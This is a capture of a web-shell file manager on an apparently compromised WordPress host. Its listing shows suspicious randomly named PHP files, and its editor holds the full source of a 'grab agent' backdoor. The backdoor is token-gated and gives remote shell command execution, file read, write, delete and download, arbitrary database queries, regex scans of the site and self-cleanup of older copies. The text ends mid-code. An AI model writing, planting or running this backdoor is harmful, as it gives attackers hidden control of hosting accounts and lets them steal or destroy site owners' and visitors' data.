at path:
ROOT
/
ft6p5pfd695u.php
run:
R
W
Run
.well-known
DIR
2026-08-01 09:35:56
R
W
Run
5e455
DIR
2026-08-24 05:19:23
R
W
Run
69ba6c
DIR
2026-08-07 07:54:23
R
W
Run
89873
DIR
2026-08-27 14:19:27
R
W
Run
9eee9
DIR
2026-08-27 05:41:50
R
W
Run
ae4d53
DIR
2026-08-24 05:19:18
R
W
Run
images
DIR
2026-08-07 07:54:23
R
W
Run
wp-admin
DIR
2026-08-07 07:54:23
R
W
Run
wp-content
DIR
2026-08-24 05:19:18
R
W
Run
wp-includes
DIR
2026-08-27 05:45:31
R
W
Run
.htaccess
289 By
2026-10-07 00:39:49
R
W
Run
Delete
Rename
3msrguem0d25.php
36.16 KB
2026-08-17 13:40:51
R
W
Run
Delete
Rename
66.php
1.18 MB
2026-03-05 16:37:12
R
W
Run
Delete
Rename
8.php
14.78 KB
2026-03-05 16:38:08
R
W
Run
Delete
Rename
ammika.php
27.61 KB
2026-08-05 08:04:30
R
W
Run
Delete
Rename
bootstrap.php
4.46 KB
2026-10-03 15:08:11
R
W
Run
buy.php
1.51 KB
2025-02-21 05:19:18
R
W
Run
chosen.php
122.65 KB
2026-08-04 01:05:27
R
W
Run
Delete
Rename
click.php
1.29 KB
2024-05-16 05:19:18
R
W
Run
css
386 By
2026-08-22 08:22:53
R
W
Run
Delete
Rename
defaults.php
2 KB
2024-09-24 05:43:08
R
W
Run
error_log
248.57 MB
2026-10-07 16:07:28
R
W
Run
Delete
Rename
ft6p5pfd695u.php
39.47 KB
2026-08-18 15:04:02
R
W
Run
Delete
Rename
goods.php
1.44 KB
2024-11-20 05:43:08
R
W
Run
google3620f72c32443e03.html
53 By
2026-08-05 08:04:33
R
W
Run
Delete
Rename
index.php
12.5 KB
2022-12-03 06:03:17
R
W
Run
index.php0
12.5 KB
2024-06-12 05:43:07
R
W
Run
Delete
Rename
kill.php
1.32 KB
2026-08-04 01:16:05
R
W
Run
Delete
Rename
networks.php
1.93 KB
2024-08-18 05:43:08
R
W
Run
options.php
1.93 KB
2024-08-28 05:19:18
R
W
Run
plugins.php
2.03 KB
2024-10-10 05:43:08
R
W
Run
product.php
2 KB
2024-02-01 07:54:23
R
W
Run
robots.txt
334 By
2024-12-28 05:43:08
R
W
Run
saiga.php
27.74 KB
2026-08-05 08:04:38
R
W
Run
Delete
Rename
simple.php
15.05 KB
2026-08-04 01:05:27
R
W
Run
Delete
Rename
wp-admin.php
1.08 KB
2026-08-22 08:22:52
R
W
Run
Delete
Rename
wp-log1n.php
1.72 KB
2024-02-17 05:19:18
R
W
Run
wp-registry.php
7.04 KB
2026-10-03 15:08:11
R
W
Run
xboom.php
3.53 KB
2026-10-06 00:39:59
R
W
Run
Delete
Rename
error_log
up
📄
ft6p5pfd695u.php
Save
<?php // grab agent — a token-gated central control endpoint deployed once per cPanel. // Dispatches by `op`: info, search (grep-accelerated), fs.* (native PHP file ops), // db.* (mysqli), exec (shell), webmail. Kept PHP 5.4+-safe; capabilities that a // host disables degrade to a clear "unavailable" instead of a fatal. // NON-official-API component. Auth is a constant-time token + optional IP gate. define('GRAB_TOKEN', '8e0c83b85955f0a53b7f6e96a5fe291e0b8812041e630c7c88e03401f1a03c6e'); define('GRAB_ALLOWED_IP', ''); // empty = no IP gate define('GRAB_PROXIED', false); // true|false (behind Cloudflare?) define('GRAB_VERSION', 8); // agent template version define('GRAB_READONLY', false); // true = refuse write/exec/db.query ops define('MAX_FILE_SIZE', 2097152); // search: skip files > 2 MB define('MAX_MATCHES', 5000); define('MAX_LINE_LEN', 500); define('MAX_OUTPUT', 1048576); // cap exec output at 1 MB define('MAX_READ', 10485760); // cap fs.read at 10 MB define('MAX_ROWS', 5000); // cap db.query rows $DOCROOT = realpath(__DIR__); // where the agent lives (public_html) $HOME = dirname($DOCROOT); // account home — root for file ops if (!function_exists('hash_equals')) { function hash_equals($known, $user) { if (!is_string($known) || !is_string($user) || strlen($known) !== strlen($user)) { return false; } $r = 0; for ($i = 0, $n = strlen($known); $i < $n; $i++) { $r |= ord($known[$i]) ^ ord($user[$i]); } return $r === 0; } } function deny() { http_response_code(404); echo 'Not Found'; exit; } function jout($data) { header('Content-Type: application/json'); echo json_encode($data, 0); exit; } function fail($code, $msg) { http_response_code($code); jout(array('error' => $msg)); } // --- auth --- $token = isset($_SERVER['HTTP_X_GRAB_TOKEN']) ? $_SERVER['HTTP_X_GRAB_TOKEN'] : ''; if (!is_string($token) || $token === '' || !hash_equals(GRAB_TOKEN, $token)) { deny(); } if (!GRAB_PROXIED && GRAB_ALLOWED_IP !== '') { $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; if ($ip !== GRAB_ALLOWED_IP) { deny(); } } // --- input: merge form fields and an optional JSON body --- $IN = is_array($_POST) ? $_POST : array(); $raw = file_get_contents('php://input'); if ($raw !== false && $raw !== '') { $j = json_decode($raw, true); if (is_array($j)) { $IN = array_merge($j, $IN); } } function inp($k, $d = '') { global $IN; return isset($IN[$k]) ? $IN[$k] : $d; } function inp_arr($k) { global $IN; if (!isset($IN[$k])) { return array(); } return is_array($IN[$k]) ? $IN[$k] : array($IN[$k]); } @set_time_limit(0); @ignore_user_abort(true); // Resolve a home-relative path safely (no traversal outside $HOME). For a // not-yet-existing target, the parent must exist inside $HOME. function safe_path($rel) { global $HOME; $rel = str_replace('\\', '/', (string)$rel); if (strpos($rel, "\0") !== false) { return false; } $full = $HOME . '/' . ltrim($rel, '/'); $real = realpath($full); if ($real !== false) { return (strncmp($real, $HOME, strlen($HOME)) === 0) ? $real : false; } $parent = realpath(dirname($full)); if ($parent === false || strncmp($parent, $HOME, strlen($HOME)) !== 0) { return false; } return $parent . '/' . basename($full); } function homerel($abs) { global $HOME; return ltrim(substr($abs, strlen($HOME)), '/'); } // A PHP function exists AND isn't in `disable_functions`. function fn_enabled($name) { if (!function_exists($name)) { return false; } $disabled = explode(',', str_replace(' ', '', (string)ini_get('disable_functions'))); return !in_array($name, $disabled, true); } // True if ANY shell-command function is usable — hosts commonly disable only // some (e.g. shell_exec off but proc_open/exec on), so we don't rely on one. function exec_available() { return fn_enabled('proc_open') || fn_enabled('shell_exec') || fn_enabled('exec') || fn_enabled('system') || fn_enabled('passthru') || fn_enabled('popen'); } // Which exec function will actually be used (for capability reporting): the // first enabled runner, 'emulated' if none but PHP emulation covers basics, // or 'none'. function exec_method() { $order = array('proc_open', 'shell_exec', 'exec', 'system', 'passthru', 'popen'); foreach ($order as $fn) { if (fn_enabled($fn)) { return $fn; } } return 'emulated'; } // Truncate a string to $max bytes, returning array($text, $truncated). function cap_str($s, $max) { if (strlen($s) > $max) { return array(substr($s, 0, $max) . "\n\xe2\x80\xa6[truncated]", true); } return array($s, false); } // Run a shell command via whichever exec function the host leaves enabled, in // order of usefulness. Returns array('output','exit','via') or null if none work. // $merge folds stderr into stdout (for the terminal); off keeps grep output clean. function run_any($cmd, $merge) { if (fn_enabled('proc_open')) { $desc = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $pipes = array(); $p = @proc_open($cmd, $desc, $pipes); if (is_resource($p)) { @fclose($pipes[0]); $out = stream_get_contents($pipes[1]); @fclose($pipes[1]); $err = stream_get_contents($pipes[2]); @fclose($pipes[2]); $code = proc_close($p); return array('output' => ($merge ? $out . $err : $out), 'exit' => $code, 'via' => 'proc_open'); } } $c = $merge ? ($cmd . ' 2>&1') : $cmd; if (fn_enabled('shell_exec')) { $out = @shell_exec($c); return array('output' => ($out === null ? '' : $out), 'exit' => null, 'via' => 'shell_exec'); } if (fn_enabled('exec')) { $lines = array(); $code = null; @exec($c, $lines, $code); return array('output' => implode("\n", $lines), 'exit' => $code, 'via' => 'exec'); } if (fn_enabled('system')) { ob_start(); $code = null; @system($c, $code); $out = ob_get_clean(); return array('output' => ($out === false ? '' : $out), 'exit' => $code, 'via' => 'system'); } if (fn_enabled('passthru')) { ob_start(); $code = null; @passthru($c, $code); $out = ob_get_clean(); return array('output' => ($out === false ? '' : $out), 'exit' => $code, 'via' => 'passthru'); } if (fn_enabled('popen')) { $h = @popen($c, 'r'); if (is_resource($h)) { $out = ''; while (!feof($h)) { $out .= fread($h, 8192); } pclose($h); return array('output' => $out, 'exit' => null, 'via' => 'popen'); } } return null; } // stdout of a command (stderr discarded) via any available exec fn, or null. function sh_out($cmd) { $r = run_any($cmd, false); return $r === null ? null : $r['output']; } // Last-resort: emulate a few common read-only commands in pure PHP when EVERY // exec function is blocked, so the terminal still works for basic inspection. // Returns the output string, or null if the command isn't emulatable. function php_emulate($cmd) { global $HOME, $DOCROOT; $cmd = trim($cmd); $parts = preg_split('/\s+/', $cmd); $name = isset($parts[0]) ? $parts[0] : ''; $a1 = isset($parts[1]) ? $parts[1] : ''; if ($name === 'pwd') { return $DOCROOT . "\n"; } if ($name === 'whoami') { return (function_exists('get_current_user') ? get_current_user() : '') . "\n"; } if ($name === 'hostname') { if (function_exists('gethostname')) { return gethostname() . "\n"; } return (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : '') . "\n"; } if ($name === 'date') { return date('r') . "\n"; } if ($name === 'uname') { return php_uname($a1 === '-a' ? 'a' : 's') . "\n"; } if ($name === 'echo') { return (strlen($cmd) > 5 ? substr($cmd, 5) : '') . "\n"; } if ($name === 'id') { if (function_exists('posix_geteuid')) { $u = @posix_getpwuid(posix_geteuid()); $g = @posix_getgrgid(posix_getegid()); $un = is_array($u) ? $u['name'] : '?'; $gn = is_array($g) ? $g['name'] : '?'; return 'uid=' . posix_geteuid() . '(' . $un . ') gid=' . posix_getegid() . '(' . $gn . ")\n"; } return (function_exists('get_current_user') ? get_current_user() : '') . "\n"; } if ($name === 'php' && ($a1 === '-v' || $a1 === '--version')) { return 'PHP ' . PHP_VERSION . ' (emulated)' . "\n"; } if ($name === 'ls') { $target = ($a1 !== '' && substr($a1, 0, 1) !== '-') ? $a1 : ''; $abs = ($target === '') ? $DOCROOT : safe_path($target); if ($abs === false || !is_dir($abs)) { return "ls: cannot access '" . $a1 . "'\n"; } $items = @scandir($abs); if ($items === false) { return "ls: cannot read directory\n"; } return implode("\n", array_values(array_diff($items, array('.', '..')))) . "\n"; } if ($name === 'cat') { $abs = ($a1 === '') ? false : safe_path($a1); if ($abs === false || !is_file($abs)) { return "cat: " . $a1 . ": No such file\n"; } $c = @file_get_contents($abs); return $c === false ? "cat: cannot read file\n" : $c; } // ---- richer, flag-aware read-only emulations (all path-guarded) ---- $flags = array(); $args = array(); for ($i = 1; $i < count($parts); $i++) { if ($parts[$i] === '') { continue; } if (substr($parts[$i], 0, 1) === '-') { $flags[] = $parts[$i]; } else { $args[] = $parts[$i]; } } $nval = 10; foreach ($flags as $fl) { if (preg_match('/^-n(\d+)$/', $fl, $m)) { $nval = (int)$m[1]; } } for ($i = 1; $i < count($parts) - 1; $i++) { if ($parts[$i] === '-n' && ctype_digit($parts[$i + 1])) { $nval = (int)$parts[$i + 1]; } } $last = count($args) > 0 ? $args[count($args) - 1] : ''; if ($name === 'env' || $name === 'printenv') { $e = (function_exists('getenv') && is_array(getenv())) ? getenv() : $_ENV; $lines = array(); foreach ($e as $k => $v) { $lines[] = $k . '=' . $v; } return implode("\n", $lines) . "\n"; } if (($name === 'head' || $name === 'tail') && $last !== '') { $abs = safe_path($last); if ($abs === false || !is_file($abs)) { return $name . ": cannot open '" . $last . "'\n"; } $lines = @file($abs, FILE_IGNORE_NEW_LINES); if ($lines === false) { return $name . ": cannot read\n"; } $sel = $name === 'head' ? array_slice($lines, 0, $nval) : array_slice($lines, -$nval); return implode("\n", $sel) . "\n"; } if ($name === 'wc' && $last !== '') { $abs = safe_path($last); if ($abs === false || !is_file($abs)) { return "wc: " . $last . ": No such file\n"; } $c = @file_get_contents($abs); if ($c === false) { return "wc: cannot read\n"; } $l = substr_count($c, "\n"); $w = str_word_count($c); $b = strlen($c); if (in_array('-l', $flags, true)) { return $l . "\n"; } if (in_array('-w', $flags, true)) { return $w . "\n"; } if (in_array('-c', $flags, true)) { return $b . "\n"; } return $l . ' ' . $w . ' ' . $b . "\n"; } if ($name === 'grep' && count($args) >= 2) { // Literal substring match (real grep needs exec) with optional -i. $pat = $args[0]; $abs = safe_path($args[1]); if ($abs === false || !is_file($abs)) { return "grep: " . $args[1] . ": No such file\n"; } $lines = @file($abs, FILE_IGNORE_NEW_LINES); if ($lines === false) { return "grep: cannot read\n"; } $ci = in_array('-i', $flags, true); $ndl = $ci ? strtolower($pat) : $pat; $hits = array(); foreach ($lines as $ln) { $hay = $ci ? strtolower($ln) : $ln; if ($ndl !== '' && strpos($hay, $ndl) !== false) { $hits[] = $ln; } } return implode("\n", $hits) . "\n"; } if ($name === 'find') { $abs = $last !== '' ? safe_path($last) : $DOCROOT; if ($abs === false || !is_dir($abs)) { return "find: '" . $last . "': No such directory\n"; } $found = array(); emu_find($abs, $found, 0); return implode("\n", $found) . "\n"; } if ($name === 'du') { $abs = $last !== '' ? safe_path($last) : $DOCROOT; if ($abs === false) { return "du: bad path\n"; } $bytes = emu_dirsize($abs); $human = in_array('-h', $flags, true) || in_array('-sh', $flags, true) || in_array('-hs', $flags, true); return ($human ? human_size($bytes) : (string)$bytes) . "\t" . homerel($abs) . "\n"; } if ($name === 'stat' && $last !== '') { $abs = safe_path($last); if ($abs === false || !file_exists($abs)) { return "stat: cannot stat '" . $last . "'\n"; } $s = @stat($abs); if ($s === false) { return "stat: cannot stat\n"; } return 'size=' . $s['size'] . ' mode=' . substr(sprintf('%o', $s['mode']), -4) . ' mtime=' . date('c', $s['mtime']) . "\n"; } if ($name === 'file' && $last !== '') { $abs = safe_path($last); if ($abs === false || !is_file($abs)) { return "file: cannot open '" . $last . "'\n"; } if (function_exists('finfo_open')) { $fi = finfo_open(FILEINFO_MIME_TYPE); $t = finfo_file($fi, $abs); finfo_close($fi); return $last . ': ' . $t . "\n"; } return $last . ': data' . "\n"; } return null; } // Bounded recursive helpers for the `find` / `du` emulations. function emu_find($dir, &$out, $depth) { if ($depth > 8 || count($out) > 2000) { return; } $items = @scandir($dir); if ($items === false) { return; } foreach ($items as $it) { if ($it === '.' || $it === '..') { continue; } $p = $dir . '/' . $it; $out[] = homerel($p); if (count($out) > 2000) { return; } if (is_dir($p)) { emu_find($p, $out, $depth + 1); } } } function emu_dirsize($path) { if (is_file($path)) { return (int)@filesize($path); } if (!is_dir($path)) { return 0; } $total = 0; $items = @scandir($path); if ($items === false) { return 0; } foreach ($items as $it) { if ($it === '.' || $it === '..') { continue; } $total += emu_dirsize($path . '/' . $it); } return $total; } $op = inp('op', 'search'); // Least-privilege: a read-only agent refuses every mutating / code-running op. if (GRAB_READONLY) { $WRITE_OPS = array('fs.write', 'fs.mkdir', 'fs.rename', 'fs.chmod', 'fs.delete', 'fs.copy', 'fs.move', 'fs.zip', 'fs.unzip', 'db.query', 'exec'); if (in_array($op, $WRITE_OPS, true)) { fail(403, 'agent is read-only'); } } // ===================== INFO ===================== if ($op === 'info') { $cms = 'unknown'; if (file_exists($DOCROOT . '/wp-config.php') || file_exists($DOCROOT . '/wp-load.php')) { $cms = 'wordpress'; } elseif (file_exists($DOCROOT . '/configuration.php') && is_dir($DOCROOT . '/administrator')) { $cms = 'joomla'; } elseif (file_exists($DOCROOT . '/core/lib/Drupal.php')) { $cms = 'drupal'; } elseif (file_exists($DOCROOT . '/app/etc/env.php')) { $cms = 'magento'; } jout(array( 'version' => GRAB_VERSION, 'php' => PHP_VERSION, 'cms' => $cms, 'server' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '', 'home' => $HOME, 'exec' => exec_available(), 'exec_method' => exec_method(), 'zip' => class_exists('ZipArchive'), 'mysqli' => function_exists('mysqli_connect'), 'readonly' => GRAB_READONLY, )); } // ===================== FILE OPS ===================== if (strncmp($op, 'fs.', 3) === 0) { if ($op === 'fs.list') { $dir = safe_path(inp('dir', 'public_html')); if ($dir === false || !is_dir($dir)) { fail(400, 'bad dir'); } $out = array(); $dh = @opendir($dir); if ($dh === false) { fail(400, 'cannot open dir'); } while (($f = readdir($dh)) !== false) { if ($f === '.' || $f === '..') { continue; } $p = $dir . '/' . $f; $isdir = is_dir($p); $out[] = array( 'file' => $f, 'type' => $isdir ? 'dir' : 'file', 'size' => $isdir ? 0 : @filesize($p), 'humansize' => $isdir ? '' : human_size(@filesize($p)), 'mtime' => @filemtime($p), 'nicemode' => substr(sprintf('%o', @fileperms($p)), -4), ); } closedir($dh); jout(array('files' => $out)); } if ($op === 'fs.read') { $p = safe_path(inp('dir', '') . '/' . inp('file', '')); if ($p === false || !is_file($p)) { fail(404, 'not found'); } $sz = @filesize($p); if ($sz !== false && $sz > MAX_READ) { // Too large to safely round-trip; return the head + a flag so the // editor blocks saving (which would truncate the real file). jout(array('content' => file_get_contents($p, false, null, 0, MAX_READ), 'truncated' => true, 'size' => $sz)); } jout(array('content' => file_get_contents($p), 'truncated' => false)); } if ($op === 'fs.download') { $p = safe_path(inp('dir', '') . '/' . inp('file', '')); if ($p === false || !is_file($p)) { fail(404, 'not found'); } jout(array('b64' => base64_encode(file_get_contents($p)), 'name' => basename($p))); } if ($op === 'fs.write') { $p = safe_path(inp('dir', '') . '/' . inp('file', '')); if ($p === false) { fail(400, 'bad path'); } $ok = @file_put_contents($p, inp('content', '')); if ($ok === false) { fail(400, 'write failed'); } jout(array('ok' => true)); } if ($op === 'fs.mkdir') { $p = safe_path(inp('dir', '') . '/' . inp('name', '')); if ($p === false) { fail(400, 'bad path'); } if (!@mkdir($p, 0755)) { fail(400, 'mkdir failed'); } jout(array('ok' => true)); } if ($op === 'fs.rename') { $src = safe_path(inp('path', '')); $dst = safe_path(dirname(inp('path', '')) . '/' . basename(inp('newname', ''))); if ($src === false || $dst === false) { fail(400, 'bad path'); } if (!@rename($src, $dst)) { fail(400, 'rename failed'); } jout(array('ok' => true)); } if ($op === 'fs.chmod') { $p = safe_path(inp('path', '')); $mode = intval(inp('mode', '0644'), 8); if ($p === false) { fail(400, 'bad path'); } if (!@chmod($p, $mode)) { fail(400, 'chmod failed'); } jout(array('ok' => true)); } if ($op === 'fs.delete') { $p = safe_path(inp('path', '')); if ($p === false) { fail(400, 'bad path'); } rrm($p); jout(array('ok' => true)); } if ($op === 'fs.copy' || $op === 'fs.move') { $destdir = safe_path(inp('dest', '')); if ($destdir === false || !is_dir($destdir)) { fail(400, 'bad dest'); } foreach (inp_arr('sources') as $s) { $src = safe_path($s); if ($src === false) { continue; } $target = $destdir . '/' . basename($src); if ($op === 'fs.move') { @rename($src, $target); } else { rcopy($src, $target); } } jout(array('ok' => true)); } if ($op === 'fs.zip') { if (!class_exists('ZipArchive')) { fail(501, 'ZipArchive unavailable'); } $dest = safe_path(inp('dest', '')); if ($dest === false) { fail(400, 'bad dest'); } $zip = new ZipArchive(); if ($zip->open($dest, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { fail(400, 'zip open failed'); } foreach (inp_arr('sources') as $s) { $src = safe_path($s); if ($src === false) { continue; } zip_add($zip, $src, basename($src)); } $zip->close(); jout(array('ok' => true)); } if ($op === 'fs.cleanup') { // Delete orphaned grab-agent files left in our own dir by earlier runs // (matched by the GRAB_TOKEN marker). Never deletes ourselves. $deleted = array(); foreach (glob($DOCROOT . '/*.php') as $f) { if (realpath($f) === __FILE__) { continue; } $head = @file_get_contents($f, false, null, 0, 4096); if ($head !== false && strpos($head, 'GRAB_TOKEN') !== false) { if (@unlink($f)) { $deleted[] = basename($f); } } } jout(array('deleted' => $deleted)); } if ($op === 'fs.unzip') { if (!class_exists('ZipArchive')) { fail(501, 'ZipArchive unavailable'); } $p = safe_path(inp('path', '')); $dest = safe_path(inp('dest', dirname(inp('path', '')))); if ($p === false || $dest === false) { fail(400, 'bad path'); } $zip = new ZipArchive(); if ($zip->open($p) !== true) { fail(400, 'not a zip'); } $zip->extractTo($dest); $zip->close(); jout(array('ok' => true)); } fail(400, 'unknown fs op'); } // ===================== DB ===================== if (strncmp($op, 'db.', 3) === 0) { if (!function_exists('mysqli_connect')) { fail(501, 'mysqli unavailable'); } // PHP 8.1+ makes mysqli throw on error by default; turn that off so bad // creds / bad SQL come back as clean JSON errors instead of a fatal 500. if (function_exists('mysqli_report')) { @mysqli_report(MYSQLI_REPORT_OFF); } $host = inp('db_host', 'localhost'); $user = inp('db_user', ''); $pass = inp('db_pass', ''); $name = inp('db_name', ''); $conn = @mysqli_connect($host, $user, $pass, $name); if (!$conn) { fail(400, 'db connect failed: ' . mysqli_connect_error()); } if ($op === 'db.databases') { $res = mysqli_query($conn, 'SHOW DATABASES'); $dbs = array(); while ($res && ($row = mysqli_fetch_row($res))) { $dbs[] = $row[0]; } jout(array('databases' => $dbs)); } if ($op === 'db.query') { $sql = inp('sql', ''); $res = mysqli_query($conn, $sql); if ($res === false) { fail(400, 'sql error: ' . mysqli_error($conn)); } if ($res === true) { jout(array('affected' => mysqli_affected_rows($conn))); } $cols = array(); $fields = mysqli_fetch_fields($res); foreach ($fields as $f) { $cols[] = $f->name; } $rows = array(); $truncated = false; while ($row = mysqli_fetch_row($res)) { if (count($rows) >= MAX_ROWS) { $truncated = true; break; } $rows[] = $row; } jout(array('columns' => $cols, 'rows' => $rows, 'truncated' => $truncated)); } fail(400, 'unknown db op'); } // ===================== EXEC ===================== if ($op === 'exec') { $cmd = inp('cmd', ''); if ($cmd === '') { fail(400, 'empty command'); } // Try every real exec function the host leaves enabled... $r = run_any($cmd, true); if ($r !== null) { list($o, $t) = cap_str($r['output'], MAX_OUTPUT); jout(array('output' => $o, 'exit' => $r['exit'], 'via' => $r['via'], 'truncated' => $t)); } // ...then fall back to a pure-PHP emulation of common inspection commands. $em = php_emulate($cmd); if ($em !== null) { list($o, $t) = cap_str($em, MAX_OUTPUT); jout(array('output' => $o, 'exit' => 0, 'via' => 'php-emulated', 'truncated' => $t)); } fail(501, 'command execution is disabled on this host (shell_exec/exec/proc_open/system/passthru/popen all blocked) and no PHP fallback matched this command'); } // ===================== WEBMAIL ===================== if ($op === 'webmail') { $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; jout(array('url' => 'https://' . $host . '/webmail')); } // ===================== BACKGROUND SCAN (pull, chunked, resumable) ===================== // The server drives the scan with three ops and no held connection: // scan.start {scan_id, regex, flags} — kick off (background grep, or a lazily- // scanned file list where exec is off). Returns immediately. // scan.poll {scan_id, offset} — matches appended past `offset` bytes, plus // next_offset + status. Idempotent → the server can resume from offset. // scan.cleanup {scan_id} — stop + delete the scan state. if ($op === 'scan.start' || $op === 'scan.poll' || $op === 'scan.cleanup') { $sid = preg_replace('/[^A-Za-z0-9_-]/', '', (string)inp('scan_id', '')); if ($sid === '') { fail(400, 'missing scan_id'); } $base = $HOME . '/.grab'; $dir = $base . '/' . $sid; $raw = $dir . '/raw'; $stat = $dir . '/status'; if ($op === 'scan.cleanup') { scan_kill($sid); rrm($dir); jout(array('ok' => true)); } if ($op === 'scan.start') { scan_sweep($base); @mkdir($dir, 0700, true); if (!is_dir($dir)) { fail(500, 'cannot create scan state'); } $pattern = (string)inp('regex', ''); if ($pattern === '') { fail(400, 'missing regex'); } $flags = preg_replace('/[^imsxu]/', '', (string)inp('flags', '')); if (@preg_match("\x01" . $pattern . "\x01" . $flags, '') === false) { fail(400, 'bad regex'); } @file_put_contents($raw, ''); @file_put_contents($dir . '/pat', $pattern); @file_put_contents($dir . '/flags', $flags); if (exec_available() && trim((string)sh_out('command -v grep 2>/dev/null')) !== '') { @file_put_contents($stat, 'running'); $gflags = '-rInH' . (strpos($flags, 'i') !== false ? 'i' : ''); $excl = ' --exclude=' . escapeshellarg(basename(__FILE__)); foreach (skip_dirs() as $d) { $excl .= ' --exclude-dir=' . escapeshellarg($d); } foreach (skip_exts() as $e) { $excl .= ' --exclude=' . escapeshellarg('*.' . $e); } $patf = escapeshellarg($dir . '/pat'); // Detached grep: PCRE if supported, else basic ERE; relative paths; capped. $inner = 'cd ' . escapeshellarg($DOCROOT) . ' 2>/dev/null && ' . '{ grep ' . $gflags . ' -P' . $excl . ' -f ' . $patf . ' . 2>/dev/null ' . '|| grep ' . $gflags . ' -E' . $excl . ' -f ' . $patf . ' . 2>/dev/null; } ' . '| head -n ' . (MAX_MATCHES + 1) . ' > ' . escapeshellarg($raw) . '; echo done > ' . escapeshellarg($stat); run_any('nohup sh -c ' . escapeshellarg($inner) . ' >/dev/null 2>&1 &', false); jout(array('scan_id' => $sid, 'mode' => 'grep', 'started' => true)); } else { $fh = @fopen($dir . '/list', 'wb'); if ($fh === false) { fail(500, 'cannot write scan state'); } scan_build_list($DOCROOT, $fh); @fclose($fh); @file_put_contents($dir . '/cursor', '0'); @file_put_contents($stat, 'running'); jout(array('scan_id' => $sid, 'mode' => 'php', 'started' => true)); } } // scan.poll if (!is_dir($dir)) { fail(404, 'unknown scan_id'); } if (is_file($dir . '/list')) { scan_php_chunk($dir, $DOCROOT); } // no-exec: advance the scan $offset = max(0, (int)inp('offset', 0)); $re = "\x01" . (string)@file_get_contents($dir . '/pat') . "\x01" . (string)@file_get_contents($dir . '/flags'); $matches = array(); $next = $offset; $fh = @fopen($raw, 'rb'); if ($fh !== false) { if ($offset > 0) { @fseek($fh, $offset); } while (($line = fgets($fh)) !== false) { if (substr($line, -1) !== "\n") { break; } // incomplete tail — wait for the next poll $next += strlen($line); $ln = rtrim($line, "\r\n"); if ($ln === '') { continue; } $m = parse_scan_line($ln, $re); if ($m !== null) { $matches[] = $m; } } @fclose($fh); } $status = is_file($stat) ? trim((string)@file_get_contents($stat)) : 'running'; jout(array( 'scan_id' => $sid, 'matches' => $matches, 'next_offset' => $next, 'scanned' => count_lines($raw), 'status' => ($status === 'done' ? 'done' : 'running'), )); } // ===================== SEARCH (grep-accelerated, PHP fallback) ===================== if ($op === 'search') { $pattern = inp('regex', ''); if ($pattern === '') { fail(400, 'missing regex'); } $flags = preg_replace('/[^imsxu]/', '', (string)inp('flags', '')); $skipDirs = array('node_modules', 'vendor', 'cache', '.cache', '.git', '.svn', '.hg', 'bower_components'); $skipExt = array('png','jpg','jpeg','gif','webp','bmp','ico','svg','tif','tiff','heic','mp4','mkv','mov','avi','webm','flv','wmv','mpg','mpeg','mp3','wav','ogg','m4a','aac','flac','zip','gz','tgz','tar','bz2','xz','7z','rar','woff','woff2','ttf','eot','otf','pdf','psd','ai','eps','iso','dmg','exe','dll','so','bin','class','jar','war','wasm','o','a','doc','docx','xls','xlsx','ppt','pptx','odt','ods','sqlite','sqlite3','db','mo','pack','idx'); $delim = "\x01"; $re = $delim . $pattern . $delim . $flags; if (@preg_match($re, '') === false) { fail(400, 'bad regex'); } // Fast path: grep. Much faster than a PHP line scan on large docroots. if (exec_available()) { $bin = trim((string)sh_out('command -v grep 2>/dev/null')); if ($bin !== '') { $excl = ' --exclude=' . escapeshellarg(basename(__FILE__)); // never match ourselves foreach ($skipDirs as $d) { $excl .= ' --exclude-dir=' . escapeshellarg($d); } foreach ($skipExt as $e) { $excl .= ' --exclude=' . escapeshellarg('*.' . $e); } $gflags = '-rInH'; if (strpos($flags, 'i') !== false) { $gflags .= 'i'; } // -P (PCRE) if available, else -E. Pattern passed via a temp file to avoid quoting issues. $tmp = tempnam(sys_get_temp_dir(), 'grab'); @file_put_contents($tmp, $pattern); $cmd = 'grep ' . $gflags . ' -P' . $excl . ' -f ' . escapeshellarg($tmp) . ' ' . escapeshellarg($DOCROOT) . ' 2>/dev/null | head -n ' . (MAX_MATCHES + 1); $raw = sh_out($cmd); if ($raw === null || trim($raw) === '') { // -P unsupported? retry basic -E $cmd = 'grep ' . $gflags . ' -E' . $excl . ' -f ' . escapeshellarg($tmp) . ' ' . escapeshellarg($DOCROOT) . ' 2>/dev/null | head -n ' . (MAX_MATCHES + 1); $raw = sh_out($cmd); } @unlink($tmp); if ($raw !== null) { $matches = array(); $lines = explode("\n", rtrim($raw, "\n")); $truncated = count($lines) > MAX_MATCHES; if ($truncated) { $lines = array_slice($lines, 0, MAX_MATCHES); } foreach ($lines as $ln) { if ($ln === '') { continue; } // format: path:lineno:content $p1 = strpos($ln, ':'); $p2 = $p1 === false ? false : strpos($ln, ':', $p1 + 1); if ($p2 === false) { continue; } $fpath = substr($ln, 0, $p1); $lineno = intval(substr($ln, $p1 + 1, $p2 - $p1 - 1)); $content = substr($ln, $p2 + 1); if (realpath($fpath) === __FILE__) { continue; } $mm = array(); @preg_match($re, $content, $mm); $matches[] = array( 'path' => ltrim(substr($fpath, strlen($DOCROOT)), '/'), 'line' => $lineno, 'text' => substr($content, 0, MAX_LINE_LEN), 'match' => substr(isset($mm[0]) ? $mm[0] : '', 0, MAX_LINE_LEN), ); } jout(array('matches' => $matches, 'scanned' => count($matches), 'truncated' => $truncated, 'via' => 'grep')); } } } // Fallback: PHP recursive line scan. $sub = ''; if (isset($_GET['sub']) && is_string($_GET['sub'])) { $s = str_replace('\\', '/', $_GET['sub']); if (strpos($s, '..') === false) { $sub = '/' . ltrim($s, '/'); } } $base = realpath($DOCROOT . $sub); if ($base === false || strncmp($base, $DOCROOT, strlen($DOCROOT)) !== 0) { fail(400, 'bad sub'); } $matches = array(); $scanned = 0; $truncated = false; $filter = new RecursiveCallbackFilterIterator( new RecursiveDirectoryIterator($base, FilesystemIterator::SKIP_DOTS), function ($current) use ($skipDirs, $skipExt) { $nm = $current->getFilename(); if ($current->isDir()) { return !in_array(strtolower($nm), $skipDirs, true); } $ext = strtolower(pathinfo($nm, PATHINFO_EXTENSION)); return $ext === '' || !in_array($ext, $skipExt, true); } ); $it = new RecursiveIteratorIterator($filter, 